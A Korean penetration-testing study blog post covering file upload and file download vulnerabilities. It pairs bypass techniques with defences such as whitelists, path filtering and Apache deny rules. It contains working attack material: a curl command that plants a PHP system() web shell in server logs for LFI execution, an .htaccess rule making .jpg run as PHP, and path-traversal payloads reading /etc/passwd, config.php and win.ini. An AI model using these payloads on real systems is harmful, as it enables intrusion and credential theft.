[모의해킹 스터디] 14주차 ~ 15주차 정리

바울·2025년 2월 11일
0

모의해킹 스터디

목록 보기
39/40

📂 File Upload (파일 업로드 취약점)

공격자가 임의의 파일을 서버에 업로드하여 악의적인 행동을 수행하는 공격

발생 원인

  • 확장자 검증 미흡 → 우회 가능
  • MIME 타입 검증 부족 → Burp Suite로 조작 가능
  • 업로드된 파일 실행 제한 없음 → 서버 내 코드 실행 가능

파일 업로드 취약점 공격 기법

1. 이미지 웹쉘 (Image Web Shell) 공격

📌 의문: webshell.php.jpg 파일을 업로드하면 실행될까?

  • 일반적으로 실행되지 않음
  • 웹 서버는 .jpg 파일을 이미지로 인식하여 PHP 코드가 실행되지 않음

📌 우회 기법: 이중 확장자(Double Extension) 기법

  • webshell.jpg.php
  • 일부 서버에서는 첫 번째 확장자만 확인 (.jpg)하고 저장하지만, 실행 시에는 .php로 인식되어 PHP 코드 실행 가능

📌 다른 우회 기법: NULL Byte Injection

  • webshell.php%00.jpg
  • %00(NULL 바이트)는 문자열 종료 문자로, 일부 서버에서 .php까지만 인식하여 실행 가능

2. .htaccess 설정을 이용한 실행 우회

📌 웹 서버 설정을 조작하여 특정 확장자를 PHP로 해석하도록 변경

  • .htaccess 파일을 업로드하여 .jpg 파일도 PHP로 실행되도록 설정 가능

📌 예제: .htaccess 설정

AddType application/x-httpd-php .jpg
  • 위 설정을 적용하면 shell.jpg도 PHP 코드로 해석되어 실행 가능

3. File Include 취약점 이용

Local File Inclusion (LFI)

  • 서버 내 존재하는 특정 파일을 읽어올 수 있는 취약점
download.php?file=../../../../../etc/passwd

📌 웹쉘 업로드가 막혀 있다면?

  • 로그 파일 조작 기법 활용 가능
  • 웹 서버 로그 파일에 악성 코드 삽입 후 LFI를 통해 실행

📌 공격 예제

  • 웹 서버 로그 파일 (/opt/lampp/logs/access_log) 에 웹쉘 코드 포함 요청 전송
curl "http://target.com" -A "<?php system(\$_GET['cmd']); ?>"
  • LFI를 이용하여 웹쉘 코드가 포함된 로그 파일 실행
download.php?file=/opt/lampp/logs/access_log&cmd=id
  • 결과적으로 id 명령어 실행됨

파일 업로드 보안 대책

1. 확장자 기반 필터링

  • 화이트리스트 적용: .jpg, .png, .pdf 등 허용할 확장자만 지정
  • Blacklist 우회 방지: .phtml, .php3, .php5 등 다양한 PHP 확장자 차단

2. MIME 타입 검증

  • 클라이언트가 조작할 수 없도록 서버 측에서 finfo_file() 함수 등을 활용하여 파일 유형 검사

3. 실행 차단 (Execution Prevention)

  • 업로드된 파일을 실행하지 않고, 정적 리소스로만 제공 (Content-Disposition: attachment)
  • .htaccess로 특정 디렉터리 내 파일 실행 방지
<FilesMatch ".*">
    Order Deny,Allow
    Deny from all
</FilesMatch>

4. 파일 이름 난독화 및 경로 보호

  • 파일명을 랜덤한 해시 값으로 변환 (sha256)하여 경로 노출 방지
  • DB 저장 방식 (BLOB/CLOB)을 활용하여 파일 직접 접근을 차단

5. NAS(파일 전용 서버) 사용

  • 업로드된 파일을 별도의 스토리지 서버에 저장하여 실행 불가능하도록 설정
  • RFI 취약점으로 우회 가능

6. 업로드 파일 무결성 검사

  • 파일의 Magic Number (파일 서명) 검사하여 확장자 속이는 공격 방어

결론

  • 파일 업로드는 반드시 화이트리스트 기반 필터링을 적용해야 함
  • 웹쉘 업로드는 가장 치명적인 보안 취약점으로 서버 전체 장악 가능
  • 파일 실행을 방지하고, 다운로드 전용 스토리지(NAS) 사용이 효과적
  • Burp Suite 등 보안 도구를 활용하여 지속적인 보안 점검 필요

📥 File Download (파일 다운로드 취약점)

파일 다운로드 기능을 악용하여 서버 내 중요 파일을 탈취할 수 있는 취약점이다.
특히 Path Traversal (경로 이동) 공격을 통해 서버 내부의 민감한 파일을 다운로드하는 것이 핵심이다.

파일 다운로드 취약점 공격 기법

패스 트레버설(Path Traversal) 공격

  • ../를 이용하여 상위 디렉터리로 이동 후, 민감한 시스템 파일을 다운로드
  • Linux: /etc/passwd, /etc/shadow, /var/www/html/config.php
  • Windows: C:\boot.ini, C:\Windows\win.ini

📌 취약한 코드 예제

<?php
	$fileName = $_GET['fileName'];
    download('/files/' . $fileName);
?>

📌 공격 페이로드 예제

download.php?fileName=../../../../../etc/passwd

실행 결과: /files/../../../../../etc/passwd가 다운로드됨 → 서버 내 중요 파일 탈취 가능

소스 코드 다운로드 공격

📌 특정 웹 애플리케이션의 소스 코드 다운로드 가능

  • PHP 소스 코드 다운로드 → DB 접속 정보 유출 가능
  • config.php, .env, database.php 등의 설정 파일 탈취

📌 공격 페이로드 예제

download.php?fileName=../../../../../var/www/html/config.php

실행 결과: config.php가 다운로드되며 DB 접속 계정, API 키 등의 민감한 정보가 유출

Windows 파일 다운로드 공격

📌 Windows 서버에서는 다음 파일을 노릴 수 있음

  • C:\boot.ini → 부팅 정보
  • C:\Windows\win.ini → Windows 시스템 설정 정보

📌 공격 페이로드 예제

download.php?fileName=../../../../../../../../Windows/win.ini

실행 결과: win.ini 다운로드 성공


파일 다운로드 취약점 대응 방안

경로 검증 적용 (화이트리스트 필터링)

$allowedFiles = ['test.txt', 'readme.pdf', 'manual.docx'];
if (!in_array($fileName, $allowedFiles)) {
    die("Unauthorized file access!");
}

허용된 파일만 다운로드 가능하도록 설정

경로 이동(../) 필터링

if (strpos($fileName, '..') !== false) {
    die("Invalid file path detected!");
}

..이 포함된 요청은 차단

파일 확장자 제한

$allowedExtensions = ['txt', 'pdf', 'jpg'];
$ext = pathinfo($fileName, PATHINFO_EXTENSION);
if (!in_array($ext, $allowedExtensions)) {
    die("Invalid file type!");
}

.php, .ini, .log 등의 중요 시스템 파일 다운로드 차단

중요 시스템 파일을 직접 다운로드 불가능하게 설정

📌 Apache 설정 (.htaccess 사용)

<FilesMatch "(passwd|shadow|htaccess|ini|log|php|env)">
    Order Deny,Allow
    Deny from all
</FilesMatch>

/etc/passwd, .env, win.ini 등 민감한 파일의 직접 접근 차단

결론

  • 파일 다운로드 취약점은 웹 서버 내 민감한 정보를 유출하는 위험한 취약점
  • Path Traversal 공격을 차단하기 위한 경로 검증 필수
  • 소스 코드 및 시스템 파일 다운로드 방지 설정 필요
  • 보안 강화된 다운로드 기능을 구현하여 악성 요청을 차단

0개의 댓글